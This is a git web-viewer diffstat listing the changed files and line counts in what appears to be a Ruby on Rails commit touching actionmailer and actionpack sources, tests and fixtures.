aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.gitignore8
-rw-r--r--.travis.yml50
-rw-r--r--CONTRIBUTING.md13
-rw-r--r--Gemfile111
-rw-r--r--RAILS_VERSION2
-rw-r--r--README.md85
-rw-r--r--README.rdoc77
-rw-r--r--RELEASING_RAILS.rdoc54
-rw-r--r--Rakefile144
-rw-r--r--actionmailer/CHANGELOG.md38
-rw-r--r--actionmailer/MIT-LICENSE2
-rw-r--r--actionmailer/README.rdoc53
-rw-r--r--actionmailer/Rakefile7
-rw-r--r--actionmailer/actionmailer.gemspec7
-rw-r--r--actionmailer/lib/action_mailer.rb8
-rw-r--r--actionmailer/lib/action_mailer/base.rb395
-rw-r--r--actionmailer/lib/action_mailer/collector.rb2
-rw-r--r--actionmailer/lib/action_mailer/delivery_job.rb13
-rw-r--r--actionmailer/lib/action_mailer/delivery_methods.rb3
-rw-r--r--actionmailer/lib/action_mailer/gem_version.rb15
-rw-r--r--actionmailer/lib/action_mailer/log_subscriber.rb31
-rw-r--r--actionmailer/lib/action_mailer/mail_helper.rb14
-rw-r--r--actionmailer/lib/action_mailer/message_delivery.rb115
-rw-r--r--actionmailer/lib/action_mailer/preview.rb118
-rw-r--r--actionmailer/lib/action_mailer/queued_message.rb37
-rw-r--r--actionmailer/lib/action_mailer/railtie.rb22
-rw-r--r--actionmailer/lib/action_mailer/test_case.rb28
-rw-r--r--actionmailer/lib/action_mailer/test_helper.rb14
-rw-r--r--actionmailer/lib/action_mailer/version.rb13
-rw-r--r--actionmailer/lib/rails/generators/mailer/USAGE5
-rw-r--r--actionmailer/lib/rails/generators/mailer/mailer_generator.rb1
-rw-r--r--actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb4
-rw-r--r--actionmailer/lib/rails/generators/mailer/templates/mailer.rb3
-rw-r--r--actionmailer/test/abstract_unit.rb57
-rw-r--r--actionmailer/test/assert_select_email_test.rb47
-rw-r--r--actionmailer/test/asset_host_test.rb27
-rw-r--r--actionmailer/test/base_test.rb344
-rw-r--r--actionmailer/test/delivery_methods_test.rb120
-rw-r--r--actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb2
-rw-r--r--actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb7
-rw-r--r--actionmailer/test/fixtures/raw_email1020
-rw-r--r--actionmailer/test/fixtures/raw_email1232
-rw-r--r--actionmailer/test/fixtures/raw_email1329
-rw-r--r--actionmailer/test/fixtures/raw_email2114
-rw-r--r--actionmailer/test/fixtures/raw_email370
-rw-r--r--actionmailer/test/fixtures/raw_email459
-rw-r--r--actionmailer/test/fixtures/raw_email519
-rw-r--r--actionmailer/test/fixtures/raw_email620
-rw-r--r--actionmailer/test/fixtures/raw_email766
-rw-r--r--actionmailer/test/fixtures/raw_email847
-rw-r--r--actionmailer/test/fixtures/raw_email928
-rw-r--r--actionmailer/test/fixtures/raw_email_quoted_with_0d0a14
-rw-r--r--actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type104
-rw-r--r--actionmailer/test/fixtures/raw_email_with_nested_attachment100
-rw-r--r--actionmailer/test/fixtures/raw_email_with_partially_quoted_subject14
-rw-r--r--actionmailer/test/fixtures/test_helper_mailer/welcome1
-rw-r--r--actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb2
-rw-r--r--actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb1
-rw-r--r--actionmailer/test/i18n_with_controller_test.rb46
-rw-r--r--actionmailer/test/log_subscriber_test.rb19
-rw-r--r--actionmailer/test/mail_layout_test.rb10
-rw-r--r--actionmailer/test/mailers/async_mailer.rb3
-rw-r--r--actionmailer/test/mailers/base_mailer.rb10
-rw-r--r--actionmailer/test/mailers/delayed_mailer.rb6
-rw-r--r--actionmailer/test/mailers/proc_mailer.rb3
-rw-r--r--actionmailer/test/message_delivery_test.rb104
-rw-r--r--actionmailer/test/spec_type_test.rb37
-rw-r--r--actionmailer/test/test_case_test.rb28
-rw-r--r--actionmailer/test/test_helper_test.rb31
-rw-r--r--actionmailer/test/test_test.rb172
-rw-r--r--actionmailer/test/url_test.rb71
-rw-r--r--actionpack/CHANGELOG.md755
-rw-r--r--actionpack/MIT-LICENSE2
-rw-r--r--actionpack/README.rdoc14
-rw-r--r--actionpack/RUNNING_UNIT_TESTS27
-rw-r--r--actionpack/Rakefile60
-rw-r--r--actionpack/actionpack.gemspec14
-rw-r--r--actionpack/lib/abstract_controller.rb3
-rw-r--r--actionpack/lib/abstract_controller/base.rb50
-rw-r--r--actionpack/lib/abstract_controller/callbacks.rb87
-rw-r--r--actionpack/lib/abstract_controller/collector.rb12
-rw-r--r--actionpack/lib/abstract_controller/helpers.rb45
-rw-r--r--actionpack/lib/abstract_controller/layouts.rb410
-rw-r--r--actionpack/lib/abstract_controller/railties/routes_helpers.rb6
-rw-r--r--actionpack/lib/abstract_controller/rendering.rb190
-rw-r--r--actionpack/lib/abstract_controller/translation.rb11
-rw-r--r--actionpack/lib/abstract_controller/url_for.rb2
-rw-r--r--actionpack/lib/abstract_controller/view_paths.rb96
-rw-r--r--actionpack/lib/action_controller.rb21
-rw-r--r--actionpack/lib/action_controller/base.rb29
-rw-r--r--actionpack/lib/action_controller/caching.rb28
-rw-r--r--actionpack/lib/action_controller/caching/fragments.rb8
-rw-r--r--actionpack/lib/action_controller/deprecated.rb7
-rw-r--r--actionpack/lib/action_controller/deprecated/integration_test.rb5
-rw-r--r--actionpack/lib/action_controller/deprecated/performance_test.rb3
-rw-r--r--actionpack/lib/action_controller/log_subscriber.rb48
-rw-r--r--actionpack/lib/action_controller/metal.rb31
-rw-r--r--actionpack/lib/action_controller/metal/conditional_get.rb51
-rw-r--r--actionpack/lib/action_controller/metal/data_streaming.rb2
-rw-r--r--actionpack/lib/action_controller/metal/etag_with_template_digest.rb50
-rw-r--r--actionpack/lib/action_controller/metal/exceptions.rb2
-rw-r--r--actionpack/lib/action_controller/metal/flash.rb19
-rw-r--r--actionpack/lib/action_controller/metal/force_ssl.rb69
-rw-r--r--actionpack/lib/action_controller/metal/head.rb9
-rw-r--r--actionpack/lib/action_controller/metal/helpers.rb16
-rw-r--r--actionpack/lib/action_controller/metal/hide_actions.rb2
-rw-r--r--actionpack/lib/action_controller/metal/http_authentication.rb88
-rw-r--r--actionpack/lib/action_controller/metal/instrumentation.rb4
-rw-r--r--actionpack/lib/action_controller/metal/live.rb195
-rw-r--r--actionpack/lib/action_controller/metal/mime_responds.rb363
-rw-r--r--actionpack/lib/action_controller/metal/params_wrapper.rb19
-rw-r--r--actionpack/lib/action_controller/metal/rack_delegation.rb2
-rw-r--r--actionpack/lib/action_controller/metal/redirecting.rb64
-rw-r--r--actionpack/lib/action_controller/metal/renderers.rb51
-rw-r--r--actionpack/lib/action_controller/metal/rendering.rb57
-rw-r--r--actionpack/lib/action_controller/metal/request_forgery_protection.rb207
-rw-r--r--actionpack/lib/action_controller/metal/responder.rb287
-rw-r--r--actionpack/lib/action_controller/metal/streaming.rb48
-rw-r--r--actionpack/lib/action_controller/metal/strong_parameters.rb364
-rw-r--r--actionpack/lib/action_controller/metal/testing.rb3
-rw-r--r--actionpack/lib/action_controller/metal/url_for.rb24
-rw-r--r--actionpack/lib/action_controller/model_naming.rb2
-rw-r--r--actionpack/lib/action_controller/railtie.rb25
-rw-r--r--actionpack/lib/action_controller/record_identifier.rb20
-rw-r--r--actionpack/lib/action_controller/test_case.rb316
-rw-r--r--actionpack/lib/action_controller/vendor/html-scanner.rb5
-rw-r--r--actionpack/lib/action_dispatch.rb18
-rw-r--r--actionpack/lib/action_dispatch/http/cache.rb4
-rw-r--r--actionpack/lib/action_dispatch/http/filter_parameters.rb15
-rw-r--r--actionpack/lib/action_dispatch/http/filter_redirect.rb9
-rw-r--r--actionpack/lib/action_dispatch/http/headers.rb92
-rw-r--r--actionpack/lib/action_dispatch/http/mime_negotiation.rb34
-rw-r--r--actionpack/lib/action_dispatch/http/mime_type.rb52
-rw-r--r--actionpack/lib/action_dispatch/http/mime_types.rb1
-rw-r--r--actionpack/lib/action_dispatch/http/parameters.rb71
-rw-r--r--actionpack/lib/action_dispatch/http/request.rb112
-rw-r--r--actionpack/lib/action_dispatch/http/response.rb175
-rw-r--r--actionpack/lib/action_dispatch/http/upload.rb28
-rw-r--r--actionpack/lib/action_dispatch/http/url.rb165
-rw-r--r--actionpack/lib/action_dispatch/journey.rb5
-rw-r--r--actionpack/lib/action_dispatch/journey/backwards.rb5
-rw-r--r--actionpack/lib/action_dispatch/journey/formatter.rb166
-rw-r--r--actionpack/lib/action_dispatch/journey/gtg/builder.rb162
-rw-r--r--actionpack/lib/action_dispatch/journey/gtg/simulator.rb47
-rw-r--r--actionpack/lib/action_dispatch/journey/gtg/transition_table.rb157
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/builder.rb76
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/dot.rb36
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/simulator.rb47
-rw-r--r--actionpack/lib/action_dispatch/journey/nfa/transition_table.rb163
-rw-r--r--actionpack/lib/action_dispatch/journey/nodes/node.rb128
-rw-r--r--actionpack/lib/action_dispatch/journey/parser.rb198
-rw-r--r--actionpack/lib/action_dispatch/journey/parser.y49
-rw-r--r--actionpack/lib/action_dispatch/journey/parser_extras.rb23
-rw-r--r--actionpack/lib/action_dispatch/journey/path/pattern.rb198
-rw-r--r--actionpack/lib/action_dispatch/journey/route.rb125
-rw-r--r--actionpack/lib/action_dispatch/journey/router.rb143
-rw-r--r--actionpack/lib/action_dispatch/journey/router/strexp.rb27
-rw-r--r--actionpack/lib/action_dispatch/journey/router/utils.rb93
-rw-r--r--actionpack/lib/action_dispatch/journey/routes.rb76
-rw-r--r--actionpack/lib/action_dispatch/journey/scanner.rb61
-rw-r--r--actionpack/lib/action_dispatch/journey/visitors.rb221
-rw-r--r--actionpack/lib/action_dispatch/journey/visualizer/fsm.css30
-rw-r--r--actionpack/lib/action_dispatch/journey/visualizer/fsm.js134
-rw-r--r--actionpack/lib/action_dispatch/journey/visualizer/index.html.erb52
-rw-r--r--actionpack/lib/action_dispatch/middleware/best_standards_support.rb28
-rw-r--r--actionpack/lib/action_dispatch/middleware/callbacks.rb14
-rw-r--r--actionpack/lib/action_dispatch/middleware/cookies.rb419
-rw-r--r--actionpack/lib/action_dispatch/middleware/debug_exceptions.rb102
-rw-r--r--actionpack/lib/action_dispatch/middleware/exception_wrapper.rb87
-rw-r--r--actionpack/lib/action_dispatch/middleware/flash.rb83
-rw-r--r--actionpack/lib/action_dispatch/middleware/params_parser.rb30
-rw-r--r--actionpack/lib/action_dispatch/middleware/public_exceptions.rb20
-rw-r--r--actionpack/lib/action_dispatch/middleware/reloader.rb13
-rw-r--r--actionpack/lib/action_dispatch/middleware/remote_ip.rb220
-rw-r--r--actionpack/lib/action_dispatch/middleware/request_id.rb4
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/abstract_store.rb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cache_store.rb6
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cookie_store.rb131
-rw-r--r--actionpack/lib/action_dispatch/middleware/show_exceptions.rb19
-rw-r--r--actionpack/lib/action_dispatch/middleware/ssl.rb18
-rw-r--r--actionpack/lib/action_dispatch/middleware/static.rb94
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb31
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb22
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb23
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb27
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb26
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb52
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb9
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb10
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb16
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb9
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb138
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb11
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb3
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb23
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb32
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb11
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb17
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb20
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb7
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb6
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb3
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb16
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb200
-rw-r--r--actionpack/lib/action_dispatch/railtie.rb3
-rw-r--r--actionpack/lib/action_dispatch/request/session.rb16
-rw-r--r--actionpack/lib/action_dispatch/request/utils.rb35
-rw-r--r--actionpack/lib/action_dispatch/routing.rb107
-rw-r--r--actionpack/lib/action_dispatch/routing/endpoint.rb10
-rw-r--r--actionpack/lib/action_dispatch/routing/inspector.rb185
-rw-r--r--actionpack/lib/action_dispatch/routing/mapper.rb918
-rw-r--r--actionpack/lib/action_dispatch/routing/polymorphic_routes.rb282
-rw-r--r--actionpack/lib/action_dispatch/routing/redirection.rb79
-rw-r--r--actionpack/lib/action_dispatch/routing/route_set.rb590
-rw-r--r--actionpack/lib/action_dispatch/routing/routes_proxy.rb2
-rw-r--r--actionpack/lib/action_dispatch/routing/url_for.rb28
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions.rb18
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/dom.rb28
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/response.rb24
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/routing.rb35
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/selector.rb431
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/tag.rb136
-rw-r--r--actionpack/lib/action_dispatch/testing/integration.rb133
-rw-r--r--actionpack/lib/action_dispatch/testing/performance_test.rb10
-rw-r--r--actionpack/lib/action_dispatch/testing/test_process.rb2
-rw-r--r--actionpack/lib/action_dispatch/testing/test_request.rb14
-rw-r--r--actionpack/lib/action_pack.rb2
-rw-r--r--actionpack/lib/action_pack/gem_version.rb15
-rw-r--r--actionpack/lib/action_pack/version.rb12
-rw-r--r--actionpack/lib/action_view.rb93
-rw-r--r--actionpack/lib/action_view/base.rb201
-rw-r--r--actionpack/lib/action_view/buffers.rb43
-rw-r--r--actionpack/lib/action_view/digestor.rb126
-rw-r--r--actionpack/lib/action_view/flows.rb76
-rw-r--r--actionpack/lib/action_view/helpers.rb57
-rw-r--r--actionpack/lib/action_view/helpers/active_model_helper.rb49
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helper.rb295
-rw-r--r--actionpack/lib/action_view/helpers/asset_url_helper.rb355
-rw-r--r--actionpack/lib/action_view/helpers/atom_feed_helper.rb203
-rw-r--r--actionpack/lib/action_view/helpers/benchmark_helper.rb13
-rw-r--r--actionpack/lib/action_view/helpers/cache_helper.rb181
-rw-r--r--actionpack/lib/action_view/helpers/capture_helper.rb216
-rw-r--r--actionpack/lib/action_view/helpers/csrf_helper.rb30
-rw-r--r--actionpack/lib/action_view/helpers/date_helper.rb1050
-rw-r--r--actionpack/lib/action_view/helpers/debug_helper.rb41
-rw-r--r--actionpack/lib/action_view/helpers/form_helper.rb1430
-rw-r--r--actionpack/lib/action_view/helpers/form_options_helper.rb783
-rw-r--r--actionpack/lib/action_view/helpers/form_tag_helper.rb785
-rw-r--r--actionpack/lib/action_view/helpers/javascript_helper.rb117
-rw-r--r--actionpack/lib/action_view/helpers/number_helper.rb416
-rw-r--r--actionpack/lib/action_view/helpers/output_safety_helper.rb38
-rw-r--r--actionpack/lib/action_view/helpers/record_tag_helper.rb102
-rw-r--r--actionpack/lib/action_view/helpers/rendering_helper.rb90
-rw-r--r--actionpack/lib/action_view/helpers/sanitize_helper.rb256
-rw-r--r--actionpack/lib/action_view/helpers/tag_helper.rb173
-rw-r--r--actionpack/lib/action_view/helpers/tags.rb39
-rw-r--r--actionpack/lib/action_view/helpers/tags/base.rb148
-rw-r--r--actionpack/lib/action_view/helpers/tags/check_box.rb64
-rw-r--r--actionpack/lib/action_view/helpers/tags/checkable.rb16
-rw-r--r--actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb37
-rw-r--r--actionpack/lib/action_view/helpers/tags/collection_helpers.rb82
-rw-r--r--actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb30
-rw-r--r--actionpack/lib/action_view/helpers/tags/collection_select.rb28
-rw-r--r--actionpack/lib/action_view/helpers/tags/color_field.rb25
-rw-r--r--actionpack/lib/action_view/helpers/tags/date_field.rb13
-rw-r--r--actionpack/lib/action_view/helpers/tags/date_select.rb70
-rw-r--r--actionpack/lib/action_view/helpers/tags/datetime_field.rb22
-rw-r--r--actionpack/lib/action_view/helpers/tags/datetime_local_field.rb19
-rw-r--r--actionpack/lib/action_view/helpers/tags/datetime_select.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/email_field.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/file_field.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb29
-rw-r--r--actionpack/lib/action_view/helpers/tags/hidden_field.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/label.rb65
-rw-r--r--actionpack/lib/action_view/helpers/tags/month_field.rb13
-rw-r--r--actionpack/lib/action_view/helpers/tags/number_field.rb18
-rw-r--r--actionpack/lib/action_view/helpers/tags/password_field.rb12
-rw-r--r--actionpack/lib/action_view/helpers/tags/radio_button.rb31
-rw-r--r--actionpack/lib/action_view/helpers/tags/range_field.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/search_field.rb24
-rw-r--r--actionpack/lib/action_view/helpers/tags/select.rb41
-rw-r--r--actionpack/lib/action_view/helpers/tags/tel_field.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/text_area.rb18
-rw-r--r--actionpack/lib/action_view/helpers/tags/text_field.rb29
-rw-r--r--actionpack/lib/action_view/helpers/tags/time_field.rb13
-rw-r--r--actionpack/lib/action_view/helpers/tags/time_select.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/time_zone_select.rb20
-rw-r--r--actionpack/lib/action_view/helpers/tags/url_field.rb8
-rw-r--r--actionpack/lib/action_view/helpers/tags/week_field.rb13
-rw-r--r--actionpack/lib/action_view/helpers/text_helper.rb439
-rw-r--r--actionpack/lib/action_view/helpers/translation_helper.rb107
-rw-r--r--actionpack/lib/action_view/helpers/url_helper.rb664
-rw-r--r--actionpack/lib/action_view/log_subscriber.rb30
-rw-r--r--actionpack/lib/action_view/lookup_context.rb233
-rw-r--r--actionpack/lib/action_view/model_naming.rb12
-rw-r--r--actionpack/lib/action_view/path_set.rb71
-rw-r--r--actionpack/lib/action_view/railtie.rb39
-rw-r--r--actionpack/lib/action_view/record_identifier.rb84
-rw-r--r--actionpack/lib/action_view/renderer/abstract_renderer.rb32
-rw-r--r--actionpack/lib/action_view/renderer/partial_renderer.rb474
-rw-r--r--actionpack/lib/action_view/renderer/renderer.rb44
-rw-r--r--actionpack/lib/action_view/renderer/streaming_template_renderer.rb103
-rw-r--r--actionpack/lib/action_view/renderer/template_renderer.rb96
-rw-r--r--actionpack/lib/action_view/routing_url_for.rb107
-rw-r--r--actionpack/lib/action_view/template.rb340
-rw-r--r--actionpack/lib/action_view/template/error.rb130
-rw-r--r--actionpack/lib/action_view/template/handlers.rb53
-rw-r--r--actionpack/lib/action_view/template/handlers/erb.rb120
-rw-r--r--actionpack/lib/action_view/template/handlers/raw.rb11
-rw-r--r--actionpack/lib/action_view/template/resolver.rb327
-rw-r--r--actionpack/lib/action_view/template/text.rb34
-rw-r--r--actionpack/lib/action_view/template/types.rb58
-rw-r--r--actionpack/lib/action_view/test_case.rb268
-rw-r--r--actionpack/lib/action_view/testing/resolvers.rb50
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner.rb20
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/document.rb68
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/node.rb532
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb188
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/selector.rb830
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb107
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/version.rb11
-rw-r--r--actionpack/test/abstract/abstract_controller_test.rb263
-rw-r--r--actionpack/test/abstract/callbacks_test.rb2
-rw-r--r--actionpack/test/abstract/collector_test.rb20
-rw-r--r--actionpack/test/abstract/helper_test.rb103
-rw-r--r--actionpack/test/abstract/layouts_test.rb363
-rw-r--r--actionpack/test/abstract/render_test.rb102
-rw-r--r--actionpack/test/abstract/translation_test.rb81
-rw-r--r--actionpack/test/abstract_unit.rb229
-rw-r--r--actionpack/test/active_record_unit.rb99
-rw-r--r--actionpack/test/activerecord/controller_runtime_test.rb81
-rw-r--r--actionpack/test/activerecord/polymorphic_routes_test.rb546
-rw-r--r--actionpack/test/assertions/response_assertions_test.rb18
-rw-r--r--actionpack/test/controller/action_pack_assertions_test.rb110
-rw-r--r--actionpack/test/controller/assert_select_test.rb358
-rw-r--r--actionpack/test/controller/base_test.rb44
-rw-r--r--actionpack/test/controller/caching_test.rb79
-rw-r--r--actionpack/test/controller/capture_test.rb79
-rw-r--r--actionpack/test/controller/content_type_test.rb32
-rw-r--r--actionpack/test/controller/filters_test.rb419
-rw-r--r--actionpack/test/controller/flash_hash_test.rb19
-rw-r--r--actionpack/test/controller/flash_test.rb38
-rw-r--r--actionpack/test/controller/force_ssl_test.rb186
-rw-r--r--actionpack/test/controller/helper_test.rb28
-rw-r--r--actionpack/test/controller/http_basic_authentication_test.rb7
-rw-r--r--actionpack/test/controller/http_digest_authentication_test.rb13
-rw-r--r--actionpack/test/controller/http_token_authentication_test.rb99
-rw-r--r--actionpack/test/controller/integration_test.rb188
-rw-r--r--actionpack/test/controller/layout_test.rb237
-rw-r--r--actionpack/test/controller/live_stream_test.rb349
-rw-r--r--actionpack/test/controller/localized_templates_test.rb26
-rw-r--r--actionpack/test/controller/log_subscriber_test.rb45
-rw-r--r--actionpack/test/controller/mime/accept_format_test.rb92
-rw-r--r--actionpack/test/controller/mime/respond_to_test.rb784
-rw-r--r--actionpack/test/controller/mime/responders_test.rb32
-rw-r--r--actionpack/test/controller/mime_responds_test.rb1233
-rw-r--r--actionpack/test/controller/new_base/bare_metal_test.rb6
-rw-r--r--actionpack/test/controller/new_base/render_body_test.rb170
-rw-r--r--actionpack/test/controller/new_base/render_file_test.rb29
-rw-r--r--actionpack/test/controller/new_base/render_html_test.rb190
-rw-r--r--actionpack/test/controller/new_base/render_implicit_action_test.rb17
-rw-r--r--actionpack/test/controller/new_base/render_partial_test.rb22
-rw-r--r--actionpack/test/controller/new_base/render_plain_test.rb168
-rw-r--r--actionpack/test/controller/new_base/render_streaming_test.rb6
-rw-r--r--actionpack/test/controller/new_base/render_template_test.rb17
-rw-r--r--actionpack/test/controller/new_base/render_test.rb24
-rw-r--r--actionpack/test/controller/new_base/render_text_test.rb59
-rw-r--r--actionpack/test/controller/output_escaping_test.rb4
-rw-r--r--actionpack/test/controller/parameters/accessors_test.rb125
-rw-r--r--actionpack/test/controller/parameters/always_permitted_parameters_test.rb29
-rw-r--r--actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb72
-rw-r--r--actionpack/test/controller/parameters/mutators_test.rb99
-rw-r--r--actionpack/test/controller/parameters/nested_parameters_test.rb77
-rw-r--r--actionpack/test/controller/parameters/parameters_permit_test.rb246
-rw-r--r--actionpack/test/controller/parameters/parameters_require_test.rb10
-rw-r--r--actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb33
-rw-r--r--actionpack/test/controller/params_wrapper_test.rb46
-rw-r--r--actionpack/test/controller/redirect_test.rb10
-rw-r--r--actionpack/test/controller/render_js_test.rb2
-rw-r--r--actionpack/test/controller/render_json_test.rb6
-rw-r--r--actionpack/test/controller/render_other_test.rb11
-rw-r--r--actionpack/test/controller/render_test.rb1467
-rw-r--r--actionpack/test/controller/request_forgery_protection_test.rb203
-rw-r--r--actionpack/test/controller/required_params_test.rb35
-rw-r--r--actionpack/test/controller/resources_test.rb18
-rw-r--r--actionpack/test/controller/routing_test.rb434
-rw-r--r--actionpack/test/controller/selector_test.rb629
-rw-r--r--actionpack/test/controller/send_file_test.rb18
-rw-r--r--actionpack/test/controller/show_exceptions_test.rb22
-rw-r--r--actionpack/test/controller/spec_style_test.rb208
-rw-r--r--actionpack/test/controller/spec_type_test.rb37
-rw-r--r--actionpack/test/controller/test_case_test.rb390
-rw-r--r--actionpack/test/controller/url_for_integration_test.rb81
-rw-r--r--actionpack/test/controller/url_for_test.rb125
-rw-r--r--actionpack/test/controller/view_paths_test.rb174
-rw-r--r--actionpack/test/controller/webservice_test.rb190
-rw-r--r--actionpack/test/dispatch/best_standards_support_test.rb34
-rw-r--r--actionpack/test/dispatch/cookies_test.rb578
-rw-r--r--actionpack/test/dispatch/debug_exceptions_test.rb205
-rw-r--r--actionpack/test/dispatch/exception_wrapper_test.rb97
-rw-r--r--actionpack/test/dispatch/header_test.rb130
-rw-r--r--actionpack/test/dispatch/live_response_test.rb17
-rw-r--r--actionpack/test/dispatch/mapper_test.rb8
-rw-r--r--actionpack/test/dispatch/mime_type_test.rb23
-rw-r--r--actionpack/test/dispatch/mount_test.rb35
-rw-r--r--actionpack/test/dispatch/prefix_generation_test.rb274
-rw-r--r--actionpack/test/dispatch/rack_test.rb207
-rw-r--r--actionpack/test/dispatch/reloader_test.rb5
-rw-r--r--actionpack/test/dispatch/request/json_params_parsing_test.rb40
-rw-r--r--actionpack/test/dispatch/request/multipart_params_parsing_test.rb34
-rw-r--r--actionpack/test/dispatch/request/query_string_parsing_test.rb35
-rw-r--r--actionpack/test/dispatch/request/session_test.rb59
-rw-r--r--actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb57
-rw-r--r--actionpack/test/dispatch/request/xml_params_parsing_test.rb165
-rw-r--r--actionpack/test/dispatch/request_test.rb795
-rw-r--r--actionpack/test/dispatch/response_test.rb61
-rw-r--r--actionpack/test/dispatch/routing/concerns_test.rb3
-rw-r--r--actionpack/test/dispatch/routing/inspector_test.rb190
-rw-r--r--actionpack/test/dispatch/routing/route_set_test.rb193
-rw-r--r--actionpack/test/dispatch/routing_assertions_test.rb16
-rw-r--r--actionpack/test/dispatch/routing_test.rb1335
-rw-r--r--actionpack/test/dispatch/session/abstract_store_test.rb2
-rw-r--r--actionpack/test/dispatch/session/cache_store_test.rb17
-rw-r--r--actionpack/test/dispatch/session/cookie_store_test.rb13
-rw-r--r--actionpack/test/dispatch/session/mem_cache_store_test.rb21
-rw-r--r--actionpack/test/dispatch/session/test_session_test.rb16
-rw-r--r--actionpack/test/dispatch/show_exceptions_test.rb13
-rw-r--r--actionpack/test/dispatch/spec_type_test.rb41
-rw-r--r--actionpack/test/dispatch/ssl_test.rb64
-rw-r--r--actionpack/test/dispatch/static_test.rb98
-rw-r--r--actionpack/test/dispatch/template_assertions_test.rb110
-rw-r--r--actionpack/test/dispatch/test_request_test.rb36
-rw-r--r--actionpack/test/dispatch/uploaded_file_test.rb12
-rw-r--r--actionpack/test/dispatch/url_generation_test.rb83
-rw-r--r--actionpack/test/fixtures/blog_public/blog.html1
-rw-r--r--actionpack/test/fixtures/blog_public/index.html1
-rw-r--r--actionpack/test/fixtures/blog_public/subdir/index.html1
-rw-r--r--actionpack/test/fixtures/developer.rb9
-rw-r--r--actionpack/test/fixtures/digestor/messages/show.html.erb9
-rw-r--r--actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb3
-rw-r--r--actionpack/test/fixtures/helpers/abc_helper.rb2
-rw-r--r--actionpack/test/fixtures/helpers_typo/admin/users_helper.rb5
l---------actionpack/test/fixtures/layout_tests/layouts/symlinked1
-rw-r--r--actionpack/test/fixtures/localized/hello_world.it.erb1
-rw-r--r--actionpack/test/fixtures/multipart/bracketed_utf8_param5
-rw-r--r--actionpack/test/fixtures/multipart/single_utf8_param5
-rw-r--r--actionpack/test/fixtures/public/.gitignore1
-rw-r--r--actionpack/test/fixtures/public/400.html1
-rw-r--r--actionpack/test/fixtures/public/bar.html1
-rw-r--r--actionpack/test/fixtures/public/bar/index.html1
-rw-r--r--actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js4
-rw-r--r--actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gzbin0 -> 38457 bytes
-rw-r--r--actionpack/test/fixtures/public/gzip/foo.zoo4
